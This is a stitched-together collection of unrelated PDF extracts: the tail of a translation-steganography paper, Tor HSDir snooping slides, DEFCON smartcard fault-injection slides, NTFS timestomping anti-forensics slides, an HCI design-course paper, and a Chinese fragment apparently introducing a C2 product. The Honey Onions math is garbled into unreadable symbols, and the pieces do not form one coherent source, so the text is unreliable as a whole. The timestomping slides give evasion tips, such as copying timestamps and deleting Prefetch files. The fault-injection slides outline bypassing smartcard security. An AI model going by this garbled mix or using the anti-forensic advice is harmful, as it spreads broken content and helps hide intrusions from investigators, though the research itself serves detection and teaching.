entwickelte sich die Bourgeoisie, vermehrte sie ihre Kapitalien, dr¨angte sie alle
vom Mittelalter her ¨uberlieferten Klassen in den Hintergrund.
Wir sehen also, wie die moderne Bourgeoisie selbst das Produkt eines langen
Entwicklungsganges, einer Reihe von Umw¨alzungen in der Produktions- und
Verkehrsweise ist.
Jede dieser Entwicklungsstufen der Bourgeoisie war begleitet von einem entsprechen-
den politischen Fortschritt . Unterdr¨uckter Stand unter der Herrschaft der Feu-
dalherren, bewaffnete und sich selbst verwaltende Assoziation in der Kommune
(3), hier unabh¨angige st¨adtische Republik , dort dritter steuerpflichtiger Stand
der Monarchie , dann zur Zeit der Manufaktur Gegengewicht gegen den Adel in
der st¨andischen oder in der absoluten Monarchie , Hauptgrundlage der großen
Monarchien ¨uberhaupt, erk¨ampfte sie sich endlich seit der Herstellung der großen
Industrie und des Weltmarktes im modernen Repr¨asentativstaat die ausschließliche
24
C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah
politische Herrschaft. Die moderne Staatsgewalt ist nur ein Ausschuß, der die
gemeinschaftlichen Gesch¨afte der ganzen Bourgeoisklasse verwaltet.
A.2
Output Text
The history of all past society is the history of class warfares.
Suitor and slave, Patrizier and Plebejer, Baron and body-own, Zunftbuerger
and join, Briefly, Eliminator and suppressed stood in constant contrast to each
other, Led a continuous, Soon hid, Soon open fight, A fight, a revolutionary
transformation to the whole society each time ended or the common fall of the
fighting classes.
In the earlier epochs of history we find nearly everywhere a complete arrange-
ment of the society into different conditions, A diverse gradation of the social
positions. In old Rome we have Patrizier, Knight, Plebejer, Slaves; In the Middle
Ages feudal sirs, Vasallen, Zunftbuerger, Skilled workers, Body-own, And still to
it in nearly of these classes special gradations.
The modern civil society come out from the fall of the feudalen society did
not waive the class contrasts. It has only new classes, New conditions of the
oppression, New organizations of the fight to the place of the old set.
Our epoch, The epoch of the bourgeoisie, Stands out, however, due to it,
That it simplified the class contrasts. The whole society splits in two large hostile
camps more and more, Into two great ones, Each other directly facing classes:
Bourgeoisie and proletariat.
From the body-own of the Middle Ages the stake citizens of the first cities
followed; From stake citizenry the first elements of the Bourgeoisie developed.
The discovery America, A new land created the sailing around of Africa
for the paying bourgeoisie. The East Indian and Chinese market, Colonizing
of America, The exchange with the colonies, The increase of the mediums of
exchange and the goods gave the trade at all, Shipping, The industry an up-
swing and thus, never known, the revolutionary element in the feudalen society
disintegrating a rapid development.
The past feudale or zuenftige mode of operation of the industry was not
enough any longer out for the need increasing with new markets. The manu-
factory took its job. The guild masters were replaced by the industrial middle
classes; The division of the work between the different Korporationen disap-
peared before the division of the work in the individual workshop.
But the markets always grew, The need always rose. Also the manufaktur
was not sufficient. The steam and the machinery revolutionized the industrial
production there. The modern large industry took the place of the manufactory,
To the place of the industriellen of middle class the industriellen millionaires
stepped, The bosses of whole industrieller armies, The modern Bourgeois.
The large industry manufactured the world market, The discovery of Amer-
ica prepared this one. The world market has the trade, Shipping, An immense
development given to the country communications. This has reacted again upon
the extension of the industry, And in the same measure, Into what industry,
Trade, Shipping, Railways expanded, In the same himself developed mass for
Translation-Based Steganography
25
the bourgeoisie, Increased it its capitals, She pressed all classes handed down
here of the Middle Ages to the background.
So we see, Like the modern Bourgeoisie themselves the product of a long
development course, A set of circulations in production and traffic way is. Each
of these entwicklungsstufen of the Bourgeoisie was accompanied of appropriate
political progress. | pdf |
Honey Onions: Exposing
Snooping Tor HSDir Relays
Guevara'Noubir &'Amirali Sanatinia
{noubir,'amirali}@ccs.neu.edu
Northeastern'University
1
Motivations
• Previous'research'studied'the'maliciousness'of'the'relays
• Known'bad'Exit'nodes
• Other'work'looked'at'the'nature'of'hidden'services'content
• No'prior'work'on'the'Hidden'Service'Directories'(HSDirs)
• Indexing'hidden'services'requires'modification'to'Tor,'which'can'be'an'
indicator'of'some'effort'and'potentially'more'malicious'activities
2
Tor & Hidden Services
• A'widely'used'practical'anonymity'infrastructure
• Provides'anonymity'for'both'the'clients'and'the'server'through'
hidden'services
• Depends'on'the'honest'behavior'of'the'volunteering'relays
• It'is'known'that'some'relays'are'misbehaving'(Bad'Exit'nodes)
• Some'Exit'nodes'actively'try'to'perform'Man'in'the'Middle'Attack'
(MITM)
• Not'much'is'known'about'the'HSDirs or'Hidden'Services'in'general
3
Hidden Service Directories (HSDir)
Client
Hidden Service
IP
RP
HSDir
(1)
(2)
(3)
(4)
(5)
(6)
(7)
4
Ring of Responsible HSDirs
5
Honey Onions (HOnions)
• Each'HOnion corresponds'to'a'server/process
• Run'on'local'IP'address'(Hidden'Service)
• Accessible'only'through'Tor'and'not'shared'anywhere
• Three'schedules
• Daily
• Weekly
• Monthly
• Log'the'requests'for'further'investigation
6
HOnions Architecture
1. Generate honions
ho i
ho
j
2. Place honions on HSDirs
3. Build bipartite graph
On visit, mark potential HSDirs
ho
j
di
di+2
di+1
di
di+1
di+2
On visit, add to bipartite graph
7
Set Cover Problem
• !"# = %&': )*+%+,-./0%123ℎ%!"#2+%5-.6%
• !7 = ℎ*8: !792*9%3ℎ.3%1.0%:2023,&
• ; = !"# ∪ !7
• = =
ℎ*8,&8 %∈ !7%×%!"#% %ℎ*8%1.0%A-.Bed%on%&'%and%was%visited}
•
% %":%∀% ℎ*8,&' ∈ =, ∃&′' ∈ "% ∧ ℎ*8,&′'
∈ =
R%⊆TRU
VWXY'Z
• The'set'cover'is'an'NP-complete'problem
• Can'be'calculated'using'approximation'algorithms
• Set'cover'gives'the'lower'bound'on'the'number'of'snooping'HSDirs
8
Heuristic Approach
• Input:'''''G(V,%E): Bipartitie graph'of'HOnions to'HSDirs
• Output:''S:'Set'explaining'visits
• " ⟵ %∅
• while,,,;% ∩ !7% ≠ ∅%%%_o
• Pick'&% ∈ ;% ∩ %!"#: 123ℎ%ℎ26ℎ,03 degree
• ;% ← %;%\% &%.9&%230%!792*9%9,26ℎb*+0
• end
9
Integer Linear Programming (ILP)
• min %(ef, … , eTRU)''''''''''''''''∑
e8
|TRU|
8jf
subject'to%∀%ℎ*' ∈ !7
∑
e8 ≥ 1
m
∀%8: nop,qr ∈s
• Provides'a'lower'bound'on'the'number'of'snooping'HSDirs to'explain'
the'visits
10
Connectivity Graph
11
Snooping Behavior
• Wide'variety'of'behavior
• Automated'vs'manual'probing
• Aggressive,'periodic'probing
• Attempts'to'find'vulnerabilities
• SQL'Injection
• XSS
• Path'traversal
• PHP'Easter'Eggs
• Targeting'Drupal'and'Ruby'on'Rails
12
Snoopers’ Most Likely Geolocation
13
Snoopers’ Identity
• Hard'to'identify'the'real'entity'behind'the'relays
• More'than'half'of'the'HSDirs are'hosted'on'cloud'platform
• The'geolocations'correspond'to'the'location'of'the'hosting'platform'
and'not'necessarily'the'entity'running'them
• Number'of'cloud'platforms'are'located'in'countries'with'stronger'
privacy'protection'for'costumers
• Some'cloud'platform'accept'payments'over'bitcoin,'making'it'even'
harder'to'identify'the'real'actors
14
Conclusion
• Honey'Onions'(HOnions)'is'a'framework'to'detect'snooping'HSDirs
• Provides'a'lower'bound'on'such'relays
• Tor'relies'on'the'honest'behavior'of'the'volunteering'relays
• The'detection,'identification'and'mitigation'of'misbehaving'relays'
helps'to'improve'the'privacy'and'security'of'Tor
• This'work'is'an'addition'to'the'previous'body'of'work'focusing'on'
detection'of'misbehaving'Tor'relays
15 | pdf |
August 8, 2008
Inducing Momentary Faults
Within Secure Smartcards /
Microcontrollers
DEFCON – Las Vegas
Christopher Tarnovsky
Flylogic Engineering, LLC.
[email protected] – http://www.flylogic.net
August 8, 2008
What is a momentary fault?
• Temporary forced change in behavior
• The change is precisely calculated
• A fault typically lasts no more than a few clock cycles
• Many faults may be executed to force favorable
behavior other than normal
August 8, 2008
How do we do this?
• Low-capacitance buffered driver
• Driver is capable of driving a ‘1’ or ‘0’
• Driver is capable of listening in “Hi-Z”
•
Low-voltage tolerant is a plus
August 8, 2008
Why would we do this?
• A series of changes can allow us too:
• Overwrite stack-pointer
• Force repeated loops in a code segment
• Falsify cryptograms
August 8, 2008
Inducing the fault
•
Physical connection to substrate
•
Use low-capacitance buffered driver
•
Tri-stated buffer is desired-
•
Allow eavesdropping
•
Overdrive at calculated point(s) in time
August 8, 2008
Eavesdropping (listening)
YELLOW: Databus signal
GREEN: Clock
PURPLE: Reset
BLUE: Trigger
August 8, 2008
Overdriving last slides databus
with a logic ‘0’
YELLOW: Databus signal
GREEN: Clock
PURPLE: Reset
BLUE: Trigger
August 8, 2008
Initial steps
• Behavior analysis
• Understand your objective (the goal)
• Determine possible areas of attack
• Areas such as:
• Address bus
• Data bus
• Cryptographic blocks
August 8, 2008
Address bus faults
• Likely choice for cryptographic memories
• Unlikely choice for microcontroller type devices
• Allows complete change of data bus
August 8, 2008
Data bus faults
• Most probable choice of attack
• Allows behavioral changes to many areas
August 8, 2008
Cryptographic block faults
• Limited use typically to Cryptographic Memory type
devices
• Can allow readout of write only keys
August 8, 2008
Execution steps
• Determine-
• When to induce the fault
• How long to induce the fault
• Do we need more than one fault
• Can we execute more faults on the same line
• Execute the change of state during the period of time
and see if the desired result occurs.
• If not, possibly take a “running log” of the bus
August 8, 2008
In Conclusion
•
Most documentation seen tends to exaggerate the security level
physically implemented
•
Encrypted buses are just as vulnerable as non-encrypted buses
•
Randomizing internal clock just means add a second needle
•
Random software delays are unreliable
•
Technology is improving but is not perfect
•
Every standard secure IC made to date has been successfully
compromised by hackers
•
What is made by human can be taken apart by human | pdf |
Time
^
estomping
time
For our guests from England, please allow me to translate.
^
ng
tompin
timest
Quick background
File
Creation Date
Last Accessed
File 127
08/04/11 10:22:36
08/04/11 10:22:3
File 128
08/04/11 10:22:37
08/04/11 10:22:3
File 129
08/04/11 10:22:37
08/04/11 10:22:3
File 130
08/04/11 10:22:37
08/04/11 10:22:3
File 131
08/04/11 10:22:38
08/04/11 10:44:1
Timestamps are important
in forensic analysis.
File 131
08/04/11 10:22:38
08/04/11 10:44:1
File 132
08/04/11 10:22:41
08/04/11 10:22:4
File 133
08/04/11 10:22:42
08/04/11 10:22:4
Timeline analysis is part
of event reconstruction.
File 134
08/04/11 10:22:43
08/04/11 10:22:4
File 135
08/04/11 10:22:43
08/04/11 10:54:0
File 136
08/04/11 10:22:43
08/04/11 10:22:4
Note: Timestamps and events are
analyzed in context, not isolation.
File 137
08/04/11 10:22:45
08/04/11 10:22:4
File 138
08/04/11 10:22:46
09/06/06 08:00:0
Fil 139
08/04/11 10 22 47
08/04/11 10 22 4
File 139
08/04/11 10:22:47
08/04/11 10:22:4
File 140
08/04/11 10:22:47
08/04/11 10:22:4
File 141
08/04/11 10:22:47
08/04/11 10:39:5
File 142
08/04/11 10:22:48
08/04/11 10:22:4
File 143
08/04/11 10:22:54
08/04/11 10:22:5
File 144
08/04/11 10:22:58
08/04/11 10:22:5
To hide activities, the computer’s clock could be changed.
That poses a separate set of problems
and leaves its own trail of evidence.
Anti‐forensic demonstration of timestomp.exe at BlackHat 2005
AttributeMagic has since joined the scene.
The tools modify timestamps
(Created, Accessed, Modified, MFT Entry)
to fool an unsuspecting user.
But here’s the rub:
The tools don’t modify all timestamps
and they don’t look for all artifacts.
There are eight timestamps, not four,
associated with a file on NTFS file systems.
All eight timestamps are in $MFT
All eight timestamps are in $MFT.
$STANDARD_INFORMATION
Type: 0x10
$FILE_NAME
Type: 0x30
Type: 0x10
Min Size: 0x30
Max Size: 0x48
Type: 0x30
Min Size: 0x44
Max Size: 0x242
Read offset to attribute content
and add:
•
Created (0x00)
•
Last Modified (0x08)
Read offset to attribute content
and add:
•
Created (0x08)
•
Last Modified (0x10)
Last Modified (0x08)
•
MFT Entry Modified (0x10)
•
Last Accessed (0x18)
Last Modified (0x10)
•
MFT Entry Modified (0x18)
•
Last Accessed (0x20)
All eight timestamps are in $MFT
All eight timestamps are in $MFT.
$STANDARD_INFORMATION
Type: 0x10
$FILE_NAME
Type: 0x30
Type: 0x10
Min Size: 0x30
Max Size: 0x48
Type: 0x30
Min Size: 0x44
Max Size: 0x242
Read offset to attribute content
and add:
•
Created (0x00)
•
Last Modified (0x08)
Read offset to attribute content
and add:
•
Created (0x08)
•
Last Modified (0x10)
Last Modified (0x08)
•
MFT Entry Modified (0x10)
•
Last Accessed (0x18)
Last Modified (0x10)
•
MFT Entry Modified (0x18)
•
Last Accessed (0x20)
These are modified by the timestomp and AttributeMagic.
These are read by tools such as EnCase and FTK.
All eight timestamps are in $MFT
All eight timestamps are in $MFT.
$STANDARD_INFORMATION
Type: 0x10
$FILE_NAME
Type: 0x30
Type: 0x10
Min Size: 0x30
Max Size: 0x48
Type: 0x30
Min Size: 0x44
Max Size: 0x242
Read offset to attribute content
and add:
•
Created (0x00)
•
Last Modified (0x08)
Read offset to attribute content
and add:
•
Created (0x08)
•
Last Modified (0x10)
Last Modified (0x08)
•
MFT Entry Modified (0x10)
•
Last Accessed (0x18)
Last Modified (0x10)
•
MFT Entry Modified (0x18)
•
Last Accessed (0x20)
These can be analyzed,
but it takes more work.
Many analysts would need a reason
to start doing this extra work.
All eight timestamps are in $MFT
All eight timestamps are in $MFT.
$STANDARD_INFORMATION
Type: 0x10
$FILE_NAME
Type: 0x30
Type: 0x10
Min Size: 0x30
Max Size: 0x48
Type: 0x30
Min Size: 0x44
Max Size: 0x242
Read offset to attribute content
and add:
•
Created (0x00)
•
Last Modified (0x08)
Read offset to attribute content
and add:
•
Created (0x08)
•
Last Modified (0x10)
Last Modified (0x08)
•
MFT Entry Modified (0x10)
•
Last Accessed (0x18)
Last Modified (0x10)
•
MFT Entry Modified (0x18)
•
Last Accessed (0x20)
The values in each attribute can be compared, but it takes work.
4 timestamps
4 timestamps
So what would give an examiner a reason to start digging?
Obvious timestomping
Obvious timestomping.
All entries are blank.
Example
Inconsistent timestamps with respect to MFT.
Example
Timestamps matching the OS release date.
Remember: forensic timelines are built on context.
Running executables can leave a trail in
the Windows Prefetch and the Registry (MRU)
The problem with the Windows Prefetch…
A Wi d
P
f t h fil ( f) h
i ht ti
t
A Windows Prefetch file (.pf) has eight time stamps
($STANDARD_INFORMATION, $FILE_NAME).
There is also an embedded timestamp
There is also an embedded timestamp
of the last time the executable was run.
08/19/09 01:22:19PM
If th
i
f
t bl
d t b d
t
lthil
If the running of an executable needs to be done stealthily,
the timestamps in the Prefetch file need to be modified, or
the Prefetch file needs to be deleted entirely.
The MRU values in the Registry
Modified Registry entries
Stored in ROT‐13
Data files can be a problem as well.
What happens when a file is created or opened?
Created files will have a shortcut
Created files will have a shortcut
in the Windows Recent directory.
(8 timestamps)
.lnk
If it’s an Office file, there will be a
shortcut in the Office’s Recent directory.
(8 timestamps)
.lnk
Creating or
opening a file
(8 timestamps)
Many applications keep a list of recent
files on a menu. Data can be stored in
File has 8
timestamps
files on a menu. Data can be stored in
the Windows Registry (NTUSER.DAT).
(Sometimes the keys have dates.)
The file’s name could appear in the
Windows Prefetch file, which monitors
the system for up to 10 seconds.
(9 timestamps)
.pf
(9 timestamps)
Example
Opening an accounting spreadsheet.
Adobe Acrobat’s list of
recently opened PDFs.
NTUSER.DAT\Software\Adobe\Acrobat Reader\7.0\AVGeneral\cRecentFiles\
Granularity
NTFS stores time in 64 bit values, which gives an accuracy down to
,
g
y
100 nanoseconds since January 1, 1601.
Timestomp.exe and Magic Attribute only go down to the nearest second.
If the values in the attributes are examined,
timestomping will be obvious…
…unless an existing timestamp value is copied into the attribute.
g
p
p
(Don’t stomp it outright, copy it from another source.)
Example
Rounded timestamp values
Bottom Line:
It’s damn near impossible to change all of the timestamps
d
h
bl
associated with running an executable.
Change (or delete) enough data to avoid detection.
Want a copy?
[email protected]
Time
^
estomping
time | pdf |
Sketchtools: Prototyping Physical Interaction
Matt Cottam
Tellart and Rhode Island School of Design
27 Sims Avenue, Providence, RI 02909 USA
[email protected]
Abstract
Industrial designers working in traditional media have the luxury of sketching, playing, and experimenting with their
materials before constructing a finished product. Designers working with electronics and computers are relatively
impoverished. To “sketch” with electronics or computers would typically require extensive training in engineering
and ready access to inexpensive parts—requirements that most designers can’t easily meet. This deficiency—this
inability to work closely with materials before building with them—hampers designers’ efforts to make products
sensitive to human use. This paper describes an attempt to address this problem in a human-computer interaction
(HCI) design studio at a major design school. The course itself was an exercise in design: it worked within severe
constraints to address a human need. We describe our attempt to shape the course to meet students’ most pressing
needs; our students’ attempts to work within the constraints of the course; and the outcomes of the course for
students and faculty. The paper suggests that the course offers one way to experiment with HCI concepts, produce
innovative solutions to design problems, and—crucially—humanize new technologies and the design process.
1
Problem Statement
How can industrial design (ID) students in a human-computer interface design studio course use electronics and
computers with the same speed, fluidity, and fearlessness afforded by less expensive and more flexible materials?
How can the studio encourage students to be sensitive to human need—and to the complicated material and
programmatic elements of their media? How can the studio create an environment in which students can use
computer hardware and software as sketch materials? How can industrial designers extend their knowledge of
engineering without encroaching on the work of engineers? How can an HCI studio balance an exploration of
technology with a commitment to human-centered design? How can the course itself be approached as a design
problem?
2
Background
2.1
Team Members
Matt Cottam, Nicholas Scappaticci, Brian Hinch, The Department of Industrial Design (ID) and The Digital Media
Graduate Program (DM) at Rhode Island School of Design (RISD), RISD ID and DM Students
2.2
Project Dates and Duration
Courses: RISD ID: HCI Studio, 2001-2003 Fall Semesters; RISD DM: The Experimental Physical Interface, 2004
Spring Semester; RISD ID Simulation Studio: Combat Medic Training Simulator (COMETS) (with the Simulation
Group at the Center for Integration of Medicine and Innovative Technology (CIMIT), Massachusetts General
Hospital, Summer, Fall, and Spring Semesters 2004-2005; Umeå Institute of Design (Umea, Sweden): Tangible
Interface Design, Winter 2005; RISD ID and DM: Microsoft Research: Design Expo Studio, Spring Semester 2005.
3
History and Context
The model for this studio curriculum was developed and tested in American and Swedish graduate and
undergraduate departments of industrial design and digital media. Tellart, a design consultancy owned and operated
by the faculty of this course, developed and donated many of the ideas and tools involved with the course.
4
Challenge
In the development of this studio course, the department, faculty, and students worked within numerous political,
economic, intellectual, and technological constraints. These included:
•
students with varying experience in digital technologies;
•
the cost and complexity of electronics as raw materials for rapid and fluid design concept sketching;
•
the learning curve involved with computer programming for the ID student developing HCI
concepts;
•
departmental budgets for computer hardware and software tools and materials;
•
institutional control over computer labs, servers, software purchases, and installations;
•
the environmental impact of sketching with plastic and silicon-based materials (sketch models are
often modified and discarded as design concepts develop).
The challenge of the course was to work within these constraints and still humanize the educational experience, the
design process, and the technologies used in the course.
5
Solution
5.1
Process
When we first contemplated the course, we started with what seemed a simple question: How can an ID student
sketch efficiently and effectively for HCI concepts using computer hardware and software? Because we have taught
the course several times, revising it each time, the shape and nature of the course have changed significantly. Still,
we always worked within the rough parameters of the standard design workshop: class time was spent on
demonstrations by faculty, field trips, guest lectures, discussions and critiques of exercises, short assignments, and a
final project. Our task was to humanize the process—to turn our students’ attention toward human need, and to
allow them to experiment with their materials in a way that enhanced their understanding of HCI issues. In this
section we’ll describe the process of refining the conceptual design of the course; in the following section we’ll
describe in detail the ways in which we adapted our use of technology in the studio to meet students’ needs.
In the first iteration of the course, we asked students to work in teams of three on a broad conceptual problem:
Design a human-computer interaction about an unmediated human experience in nature. This approach—team-based
and abstract—was designed to ease students into the course material, to encourage collaboration, and to prompt
playful, creative experimentation.
What happened? The students struggled to balance what seemed to be competing needs: to work in conceptual terms
and to design useful, human-centered products. Students were eager to make finished products—and voluntarily
spent a good deal of money on materials with which to make them. (This proved to be doubly frustrating. Because
they worked in teams, no one member could claim the final product.) But the problem we had given them was vague
enough that they weren’t able to make use of their existing knowledge or to explore more advanced ideas about
human need, use value, and the manufacturing process. The nature of the assignment also came to frustrate the
professors: our evaluations were necessarily more subjective than we had hoped. Finally, because students couldn’t
customize or miniaturize many of the electronics and hardware components, they designed installation-size projects
(10’x10’x10’)—an approach that absorbed too much studio space and forced them to begin the labor of production
too early, cutting short their time for experimenting. We had, in fact, encouraged them to use installations; we
thought that form would expand the range of input possibilities.
In the second iteration of the course, we asked students to work on a more concrete problem, and we did away with
mandatory group work for the final project. Our assignment was: Design models and documentation for an
interactive product that will serve a human need. We asked for looks-like and works-like models and Web-based
documentation, and this proved to be a major advancement. Rather than trying to miniaturize electronics and code
and build finished prototypes, students spent more time on research and experimentation. They focused on the scope
of human factors, the capabilities of their technologies, and the challenge of communicating their concepts in a
compelling, efficient form. The students seemed relieved not to have to worry about group dynamics. One
significant problem: Because their solutions were so diverse, they couldn’t take full advantage of our critiques; the
projects didn’t lend themselves to comparison.
Figure 1. Students acting out interaction scenarios with a “works-like” model
In the third iteration of the course, we asked students to design an interactive digital product for use by a human in
an extreme environment—an even more specific task that led to more focused discussions and a concentrated use of
materials. It also forced students to consider more carefully than before two key issues: human use and
environmental conditions. Students also took advantage of inexpensive new computer input/output technologies,
including software developed by our firm, Tellart, and hardware developed by Making Things. Now their material
palette became expansive: they could work with analog sensory data input and analog voltage output. Rather than
using switches to control content, they could use continuous analog sensing (sensors that track motion, touch, etc.).
And with analog voltage output, they could control any electrical appliance—not simply audio and video content.
We also encouraged them to consider networked products—products that can communicate with each other, and
stable input controls that manage the content of Web pages and electrical appliances in various locations.
The course in its current form is the result of a series of conceptual, pedagogical, and technological refinements,
each related to the other. A conceptual adjustment was necessarily a pedagogical adjustment, which was necessarily
a technological adjustment. In a way, this may be one of the course’s significant lessons: no idea, no action, no
material exists in isolation. To conceive of a project, to study it, to work with its materials—these activities are parts
of a whole.
5.2
Solution Details
In this section, we describe our use of technology in the course. As we suggested above, every technological
refinement affected the conceptual design of the course, our pedagogical approach to the course, and our students’
outcomes.
The first iteration of the studio experience began with an act of destruction: students took apart discarded off-the-
shelf computer hardware—keyboards, mice, game controllers. This was also an act of creation: the electronic
components became raw material for sketch-modeling.
Why use salvaged hardware? First, it allows greater freedom to experiment. The parts have been donated or found in
the garbage; students are relieved of the stress of working with expensive materials. Second, it makes smart use of
environmental and financial resources. Plastic and silicon parts are given at least one additional use and then
recycled; and already limited course budgets and lab fees can be put toward field trips, books, and other materials.
Third, it’s an exceptionally flexible learning tool. An extracted keyboard controller can be quickly and easily
modified to respond to an array of inexpensive industrial sensors and switches, as well as custom concept switches
created by students. Simple input hardware—keyboards and mice—don’t require special software drivers or
computer ports, and they work with most computers and operating systems. Using standard hookup wire and simple
soldering tools, students can incorporate controllers, sensors, and switches into models built in wood, metal, plastic,
glass, textile, and other workshops. The models can then be connected to computer hardware via USB and can serve
as multi-sensory input devices for Digital Signal Processing (DSP) and other software applications.
We also relied on software sketching materials. Students used Macromedia Flash MX2004 and ActionScript to
capture data from input devices (keypresses and cursor coordinates), script for DSP, and author audio and visual
interface and content elements. Flash files (SWFs) can be published on the Web and can link to other Web sites and
datasources while receiving user input from an experimental physical interface; Flash can also be used to publish
Web-based design documentation. Flash is commonly installed as core software at art and design schools; it has a
vast user base and is the subject of a number of instructional books and Web sites. ActionScript is an accessible,
multi-purpose, and powerful object-oriented scripting language—ideal for experimentation.
Figure 2. Modifying a keyboard controller (wired and wireless)
These were the tools we relied on in our original version of the course: sketch-modeling with discarded hardware,
and software sketching with Flash. We chose them because they were accessible, easy to use, and environmentally
sound—and because they allowed students to work directly with the media, forcing them to be sensitive to its
possible use. These tools were helpful but limited. We could build multi-sensory physical input devices that would
control content on a screen, in speakers, and on the Web—but the Flash Player limited the ways in which data could
be received from and sent to hardware. Also, a modified keyboard allowed us only binary input (“A” key is “down,”
or “A” key is “up”). We wanted our students to have more: more technological options, more possibilities as
designers and thinkers.
Figure 3. Hardware and software system using a modified keyboard controller
We started testing popular software solutions. Cycling 74’s Max/MSP allowed for greater flexibility in input and
output data channels, and connected easily with popular analog and digital (A/D) converters (Teleo, iCube, etc.). But
in the end, we stayed with Flash. It’s highly accessible to designers (Max—and especially MSP—was originally
intended for computer music applications). It has a free and ubiquitous player and an internationally standardized
object-oriented scripting language—a subset of ECMAScript (ISO/IEC 16262) and a good starting point for students
eager to learn other programming and scripting languages. It can be used for drawing, typesetting, animating,
controlling audio and video playback and effects, streaming audio, video, and vector graphics. It facilitates easy
Web publishing; is easily integrated with Web applications; comes with a built-in XML object and socket; features
pre-built components that allow for rapid prototyping; and, last but not least, it was already installed on our students’
laptops.
There was one major problem: How could we connect Flash with popular A/D converters? We worked with the staff
of our consulting firm to explore solutions. Our first attempt was an elaborate system involving analog sensors;
Teleo Analog In; Power and USB modules; a computer with Linux, Apache, JRUN and a Java-based XML server
(FLOSC) installed; a Max Patch; and a Flash SWF that could send and receive XML and had some graphical
buttons and sliders. Incredibly, it worked. At least it allowed us to control an animation on a Web site from an
analog bend sensor, and to control an electrical motor by dragging a slider in the Flash movie. But it was an overly
complex and inefficient composition of hardware and software elements.
Our next stage of development was to try and streamline the signal flow between analog sensors (bend, touch, heat,
motion, proximity, etc.) and a Flash Movie, and between a Flash Movie and electrical devices (motors, lights,
thermostats, heating elements, etc.). Our design consultancy built a platform-independent application in Java, called
NADA, to allow more direct communication between A/D converters and Flash. This software is currently being
used in the our courses, as well as at several schools internationally.
Figure 4. Hardware and software system using analog and digital converters
6
Results
Since the course was first offered, in 2001, we have seen a material change in its fortunes—and our own. The course
has been over-enrolled; the waiting list exceeds three times the classroom capacity. Past students enroll in courses
with the same faculty. A short video has been published about the course methodology. Other departments at RISD
have agreed to partner with the industrial design department to offer a similar course. We have been invited to
lecture at other institutions about the topics covered in the course. And Tellart has received contracts to apply the
course’s methods and tools to projects for clients.
None of these were explicit goals of the course; we didn’t design the course in order to achieve them. But together
they suggest that the course offers a meaningful, practical approach to HCI issues in a design studio—and beyond.
The goals of the course were to allow students to sketch in an unwieldy medium—the better to design solutions to
specific human needs. In other words, we wanted to humanize the studio, the student, the technology, and the design
process. In truth, our success is not easily measured. We can point to our students’ projects, many of which showed
a remarkable awareness of human use and environmental impact, or demonstrated exceptional skill in handling
materials or developing concepts. And we can point to our course materials, which (we hope) became more helpful
with each new session. But we would expect to have some talented students; and we would expect to provide every
student with the most useful supporting materials.
Perhaps the best way to measure the outcome of the course is to talk in broad strokes about what we saw in the
studio.
We saw students sketch with actual hardware and software—a process that allowed them to develop a vocabulary
that bridged the gap between designers and computer engineers. We exposed them to specific technologies at
specific times, with the aim of easing them into the science of their work. We developed demonstrations and
exercises and assignments—using computer hardware and software—that followed a studio practice and a design
process that they were already familiar with. We worked with each new technology ourselves, and we changed it to
adapt to the needs of each new class of students. We made the engineering side of HCI design seem familiar,
personal, possible.
We saw students design more robust products—because they understood their media at a deeper, more detailed
level. They went beyond the color and shape of a plastic housing; they examined hardware components and software
logic—enough to understand the qualities and capabilities of digital technologies. The most obviously useful
outcome of this process was that they could design more sensitively shaped housings and human interfaces. They
knew which questions to ask. Will the product require a lot of electrical power? Will it be heavy, or could it be light
enough to be handheld? Will it cost a million dollars to make something that could reasonably be sold for one
dollar? Will it require hard wiring to a wall outlet or to Ethernet? If it’s wireless, what other components will be
required? All of these questions affect the form and use of a product. If students have a solid understanding of them
and the vocabulary that comes with them, they can more effectively communicate with engineers and develop more
useful and robust products. Form really can follow function.
Finally, we saw students—equipped with a basic understanding of computer programming—research and design
with a sensitivity to both sides of human-computer interaction: cognitive and computational. They learned basic
principles like conditional logic: if this button is pressed, then turn on this light bulb; if this button is pressed in
combination with another button, then play this video and turn on the light bulb. And that knowledge allowed them
to design interactive scenes: when I input this information to the computer, it will interpret that information in this
way and output this (these) response(s). Students wrote—as text narratives, not code—and physically acted out such
scenes in class, a process that allowed them to develop concepts and make further discoveries though working and
playing with coding sketch models.
Students, in the end, saw the design process more clearly. The course removed several layers of abstraction between
process and product—between designing an interactive product and seeing it manifested as an object in a human
environment. And it removed several dense layers of engineering study—technical knowledge that often prevents
students from seeing clearly to the human experience of the product. Students explored the cognitive, social,
technological, and economic factors involved in designing digital products. They did it through experience; they did
it with a sound introduction to engineering and programming; and they did it, always, with an awareness of human
need.
Tellart, through it's Sketchtools Division (sketchtools.com), now offers NADA software and physical interface
design workshops to schools and professionals. Our goal is to continue bridging design and engineering disciplines,
and providing students and professionals with new means for thinking (sketching), designing and engaging their
audiences with articulate and meaningful forms.
7
Acknowledgements
Special thanks to: Krzysztof Lenk who inspired me to teach; Mischa Schaub of Hyperwerk for first inspiring this
work; Andreas Krach for helping me hack my first keyboard; RISD for encouraging and supporting this course
development; Tellart for allowing us to do what we love at work; Nick Scappaticci—my trusty Tellart co-founder;
Brian Hinch for leading the development of NADA and making the diagrams for this paper; Jasper Speicher for all
the electronics lessons and teaching collaboration; Ryan Scott Bardsley for believing in the potential in bridging
design and engineering and leading the COMETS project with RISD; Rob Morris for his editorial help in making
this paper make sense; and all of our students for all of their bravery, work, and inspiration.
References
McCullough, M. (1996). Abstracting Craft: The Practiced Digital Hand, Reprint Edition. Cambridge: MIT Press.
Cooper, A. (1999). The Inmates Are Running the Asylum: Why High Tech Products Drive Us Crazy and How to
Restore the Sanity, 1st Edition. Indianapolis: SAMS.
Laurel, B. (1990). The Art of Human-Computer Interface Design. Reading: Addison-Wesley Publishing Company.
Tilley, A.R., Henry Dreyfuss Associates (2001). The Measure of Man and Woman: Human Factors in Design.
Indianapolis: John Wiley & Sons.
Sketchtools (NADA). http://www.sketchtools.com
Tellart. http://www.tellart.com
Rhode Island School of Design. http://www.risd.edu
Macromedia Flash MX2004 and ActionScript. http://www.macromedia.com
Making Things (Teleo). http://www.makingthings.com
Cycling 74. http://www.cycling74.com
Infusion Systems. http://www.infusionsystems.com
Open Sound Control (OSC). http://www.cnmat.berkeley.edu/OpenSoundControl
FLOSC. http://www.benchun.net/flosc
Umeå Institute of Design. http://www.dh.umu.se
Simulation Group, Center for Integration of Medicine and Innovative Technology, Massachusetts General Hospital.
http://www.medicalsim.org | pdf |
CSerV2 Final 版产品介绍
产品名称:CSer C2 适用操作系统平台:Windows
注:新版本增改内容,详见文中红字部分及最后一页的更新记录。
产品简介:
